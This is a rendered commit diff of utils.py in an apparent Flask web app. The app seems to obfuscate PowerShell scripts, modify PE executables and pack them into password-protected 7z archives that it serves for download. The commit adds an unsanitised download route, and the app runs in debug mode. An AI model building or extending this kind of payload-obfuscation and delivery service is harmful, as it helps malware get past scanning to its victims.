Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -3,7 +3,7 @@ import subprocess
|
|
3 |
import random
|
4 |
import string
|
5 |
from datetime import datetime
|
6 |
-
from flask import Flask, jsonify, send_file, current_app
|
7 |
import shutil
|
8 |
import tempfile
|
9 |
import requests
|
@@ -26,7 +26,7 @@ def generate_random_string(length=8):
|
|
26 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
27 |
|
28 |
def generate_random_password(length=12):
|
29 |
-
return ''.join(random.choices(string.ascii_letters + string.
|
30 |
|
31 |
def obfuscate_powershell_script(ps1_path):
|
32 |
try:
|
@@ -267,9 +267,9 @@ def process_request():
|
|
267 |
"7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
|
268 |
], check=True)
|
269 |
|
270 |
-
# Return the URL and password
|
271 |
-
|
272 |
-
return jsonify({"
|
273 |
|
274 |
except Exception as e:
|
275 |
current_app.logger.error(f"An error occurred: {str(e)}")
|
@@ -279,9 +279,10 @@ def process_request():
|
|
279 |
if temp_dir and os.path.exists(temp_dir):
|
280 |
shutil.rmtree(temp_dir, ignore_errors=True)
|
281 |
|
282 |
-
@app.route('/
|
283 |
-
def
|
284 |
-
|
|
|
285 |
|
286 |
if __name__ == '__main__':
|
287 |
app.run(debug=True)
|
|
|
3 |
import random
|
4 |
import string
|
5 |
from datetime import datetime
|
6 |
+
from flask import Flask, request, jsonify, send_file, current_app
|
7 |
import shutil
|
8 |
import tempfile
|
9 |
import requests
|
|
|
26 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
27 |
|
28 |
def generate_random_password(length=12):
|
29 |
+
return ''.join(random.choices(string.ascii_letters + string.punctuation, k=length))
|
30 |
|
31 |
def obfuscate_powershell_script(ps1_path):
|
32 |
try:
|
|
|
267 |
"7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
|
268 |
], check=True)
|
269 |
|
270 |
+
# Return the download URL and password in the JSON response
|
271 |
+
download_link = f"/download/{archive_name}"
|
272 |
+
return jsonify({"download_link": download_link, "password": password})
|
273 |
|
274 |
except Exception as e:
|
275 |
current_app.logger.error(f"An error occurred: {str(e)}")
|
|
|
279 |
if temp_dir and os.path.exists(temp_dir):
|
280 |
shutil.rmtree(temp_dir, ignore_errors=True)
|
281 |
|
282 |
+
@app.route('/download/<filename>')
|
283 |
+
def download_file(filename):
|
284 |
+
file_path = os.path.join(UPLOAD_FOLDER, filename)
|
285 |
+
return send_file(file_path, as_attachment=True)
|
286 |
|
287 |
if __name__ == '__main__':
|
288 |
app.run(debug=True)
|